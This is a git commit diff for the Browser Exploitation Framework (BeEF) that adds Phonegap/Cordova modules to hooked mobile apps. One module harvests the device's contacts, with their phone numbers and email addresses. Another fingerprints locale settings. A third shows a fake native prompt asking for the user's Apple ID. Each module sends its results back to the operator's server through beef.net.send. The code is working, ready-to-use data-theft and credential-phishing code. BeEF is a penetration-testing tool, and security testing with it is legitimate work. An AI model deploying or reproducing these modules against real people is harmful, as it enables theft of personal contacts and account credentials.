Merge pull request #888 from sgorbaty/master

Adding new features to Phonegap module
This commit is contained in:
Brendan Coles
2013-05-05 17:26:31 -07:00
11 changed files with 237 additions and 2 deletions

View File

@@ -1082,8 +1082,9 @@ beef.browser = {
*/
hasPhonegap:function () {
var result = false;
try {
if (!!device.phonegap) result = true; else result = false;
if (!!device.phonegap || !!device.cordova) result = true; else result = false;
}
catch (e) {
result = false;

View File

@@ -17,7 +17,8 @@ beef.execute(function() {
+ " cordova api: " + device.cordova
+ " platform: " + device.platform
+ " uuid: " + device.uuid
+ " version: " + device.version;
+ " version: " + device.version
+ " model: " + device.model;
} catch(e) {
phonegap_details = "unable to detect phonegap";
}

View File

@@ -0,0 +1,34 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_globalization_status
//
beef.execute(function() {
var result = '';
navigator.globalization.getPreferredLanguage(
function (language) {
result = 'language: ' + language.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'language: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
navigator.globalization.getLocaleName(
function (locale) {
result = 'locale: ' + locale.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'locale: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_globalization_status
#
beef:
module:
phonegap_globalization_status:
enable: true
category: "Phonegap"
name: "Globalization Status"
description: "Examine device local settings"
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# // Phonegap_globalization_status
class Phonegap_globalization_status < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,43 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// phonegap_list_contacts
//
beef.execute(function() {
var result = '';
function onSuccess(contacts) {
for (var i=0; i<contacts.length; i++) {
result = contacts[i].displayName;
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
result = result + ' #:' + contacts[i].phoneNumbers[j].value;
}
for (var j=0; j<contacts[i].emails.length; j++) {
result = result + ' @:' + contacts[i].emails[j].value;
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
};
function onError(contactError) {
result = 'fail';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var options = new ContactFindOptions();
options.filter="";
options.multiple=true;
var fields = ["displayName", "phoneNumbers", "emails"];
navigator.contacts.find(fields, onSuccess, onError, options);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# phonegap
#
beef:
module:
phonegap_list_contacts:
enable: true
category: "Phonegap"
name: "List Contacts"
description: "Examine device contacts."
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# // phonegap_list_contacts
class Phonegap_list_contacts < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,29 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_prompt_user
//
beef.execute(function() {
var title = "<%== @title %>";
var question = "<%== @question %>";
var ans_yes = "<%== @ans_yes %>";
var ans_no = "<%== @ans_no %>";
var result = '';
function onPrompt(results) {
result = "Selected button number " + results.buttonIndex + " result: " + results.input1;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
navigator.notification.prompt(
question,
onPrompt,
title,
[ans_yes,ans_no]
);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
beef:
module:
phonegap_prompt_user:
enable: true
category: "Phonegap"
name: "Prompt User"
description: "Ask device user a question"
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,46 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
class Phonegap_prompt_user < BeEF::Core::Command
def self.options
return [{
'name' => 'title',
'description' => 'Prompt title',
'ui_label'=>'Title',
'value' => 'Apple ID',
'width' => '300px'
},{
'name' => 'question',
'description' => 'Prompt question',
'ui_label'=>'Question',
'value' => 'Please enter your Apple ID',
'width' => '300px'
},{
'name' => 'ans_yes',
'description' => 'Prompt positive answer button label',
'ui_label'=>'Yes',
'value' => 'Submit',
'width' => '100px'
},{
'name' => 'ans_no',
'description' => 'Prompt negative answer button label',
'ui_label'=>'No',
'value' => 'Cancel',
'width' => '100px'
}]
end
def callback
content = {}
content['Result'] = @datastore['result']
save content
end
end